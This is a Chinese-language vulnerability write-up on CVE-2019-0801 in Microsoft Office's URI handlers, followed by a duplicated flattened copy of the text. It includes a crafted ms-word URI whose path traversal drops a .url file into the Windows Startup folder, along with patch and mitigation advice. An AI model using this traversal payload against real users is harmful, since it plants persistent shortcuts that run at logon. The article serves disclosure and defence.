CVE-2019-0801:微软Office URI超链接漏洞
字数 1678 2025-08-26 22:11:15

Microsoft Office URI 超链接漏洞分析 (CVE-2019-0801)

漏洞概述

CVE-2019-0801 是 Microsoft Office 中的一个 URI 处理程序漏洞,允许攻击者通过精心构造的 Office URI 实现目录遍历,最终可能导致任意代码执行。该漏洞由 Andrea Micalizzi 发现并于 2018 年 12 月报告,微软在 2019 年 4 月发布了修复补丁。

技术细节

Office URI 处理机制

Microsoft Office 安装时会注册多种 URI 方案处理程序,用于从浏览器启动 Office 应用程序:

ms-word:ofe|u|<argument>
ms-excel:ofe|u|<argument>
ms-powerpoint:ofe|u|<argument>

其中:

  • ofe 命令表示打开文档进行编辑(也可使用 v 命令表示查看)
  • <argument> 是要打开的 Office 文档的 URI(通常是 http 或 https URL)

正常操作流程

当用户访问如下的 URI 时:

ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx

Office 会执行以下操作:

  1. 从指定网站检索文档
  2. 将文档以随机名称保存在临时文件夹:%LOCALAPPDATA%\Temp\OICE_16_974FA576_32C1D314_xxxx\
  3. 创建两个最近打开的文档记录(.url 文件):
    • C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomeDoc.docx.url
    • C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomePath on example.com.url

漏洞成因

当原始 URL 包含查询字符串时,Office 会尝试将整个查询字符串合并到快捷方式文件名中。例如:

ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx?hmm

Office 会尝试创建文件:SomeDoc.docx?hmm.url

由于 Windows 不允许文件名中包含问号字符,这通常会导致错误。但攻击者可以通过添加目录遍历字符来绕过此限制:

ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx?hmm/../blah

此时 Office 会组装路径为:C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomeDoc.docx?hmm\..\blah.url

目录遍历会取消无效的路径元素 SomeDoc.docx?hmm,最终创建文件:C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\blah.url

漏洞利用

通过多级目录遍历,攻击者可以将文件放置在系统任意位置,特别是 Windows 启动文件夹:

ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx?\..\..\..\Windows\Start Menu\Programs\Startup\w00t

这将创建文件:C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\w00t.url

该文件会在用户每次登录时自动执行。

漏洞危害

  1. 持久性攻击:攻击者可以在用户启动文件夹中放置恶意快捷方式,实现持久化
  2. 内容可控:虽然创建的是 .url 文件,但服务器可以返回任意内容类型(如 HTML 文档)
  3. 隐蔽性强:攻击者可以返回看似无害的内容(如重定向到 about:blank)来避免引起怀疑
  4. 无需用户名:攻击者可以利用 Office 提供的默认路径,无需知道具体用户名

修复方案

微软已在 2019 年 4 月的安全更新中修复此漏洞,建议用户:

  1. 及时安装最新的 Office 安全更新
  2. 对于无法立即更新的系统,可考虑禁用 Office URI 处理程序

缓解措施

  1. 限制 Office 应用程序的互联网访问
  2. 监控和限制对 Windows 启动文件夹的写入操作
  3. 教育用户不要点击不可信的 Office 文档链接

总结

CVE-2019-0801 展示了 URI 处理程序中的细微逻辑缺陷可能导致严重的安全后果。该漏洞允许攻击者通过精心构造的 Office URI 实现目录遍历和持久化攻击,微软给予了该漏洞最高的漏洞指数等级。

Microsoft Office URI 超链接漏洞分析 (CVE-2019-0801) 漏洞概述 CVE-2019-0801 是 Microsoft Office 中的一个 URI 处理程序漏洞,允许攻击者通过精心构造的 Office URI 实现目录遍历,最终可能导致任意代码执行。该漏洞由 Andrea Micalizzi 发现并于 2018 年 12 月报告,微软在 2019 年 4 月发布了修复补丁。 技术细节 Office URI 处理机制 Microsoft Office 安装时会注册多种 URI 方案处理程序,用于从浏览器启动 Office 应用程序: 其中: ofe 命令表示打开文档进行编辑(也可使用 v 命令表示查看) <argument> 是要打开的 Office 文档的 URI(通常是 http 或 https URL) 正常操作流程 当用户访问如下的 URI 时: Office 会执行以下操作: 从指定网站检索文档 将文档以随机名称保存在临时文件夹: %LOCALAPPDATA%\Temp\OICE_16_974FA576_32C1D314_xxxx\ 创建两个最近打开的文档记录(.url 文件): C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomeDoc.docx.url C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomePath on example.com.url 漏洞成因 当原始 URL 包含查询字符串时,Office 会尝试将整个查询字符串合并到快捷方式文件名中。例如: Office 会尝试创建文件: SomeDoc.docx?hmm.url 由于 Windows 不允许文件名中包含问号字符,这通常会导致错误。但攻击者可以通过添加目录遍历字符来绕过此限制: 此时 Office 会组装路径为: C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomeDoc.docx?hmm\..\blah.url 目录遍历会取消无效的路径元素 SomeDoc.docx?hmm ,最终创建文件: C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\blah.url 漏洞利用 通过多级目录遍历,攻击者可以将文件放置在系统任意位置,特别是 Windows 启动文件夹: 这将创建文件: C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\w00t.url 该文件会在用户每次登录时自动执行。 漏洞危害 持久性攻击 :攻击者可以在用户启动文件夹中放置恶意快捷方式,实现持久化 内容可控 :虽然创建的是 .url 文件,但服务器可以返回任意内容类型(如 HTML 文档) 隐蔽性强 :攻击者可以返回看似无害的内容(如重定向到 about:blank)来避免引起怀疑 无需用户名 :攻击者可以利用 Office 提供的默认路径,无需知道具体用户名 修复方案 微软已在 2019 年 4 月的安全更新中修复此漏洞,建议用户: 及时安装最新的 Office 安全更新 对于无法立即更新的系统,可考虑禁用 Office URI 处理程序 缓解措施 限制 Office 应用程序的互联网访问 监控和限制对 Windows 启动文件夹的写入操作 教育用户不要点击不可信的 Office 文档链接 总结 CVE-2019-0801 展示了 URI 处理程序中的细微逻辑缺陷可能导致严重的安全后果。该漏洞允许攻击者通过精心构造的 Office URI 实现目录遍历和持久化攻击,微软给予了该漏洞最高的漏洞指数等级。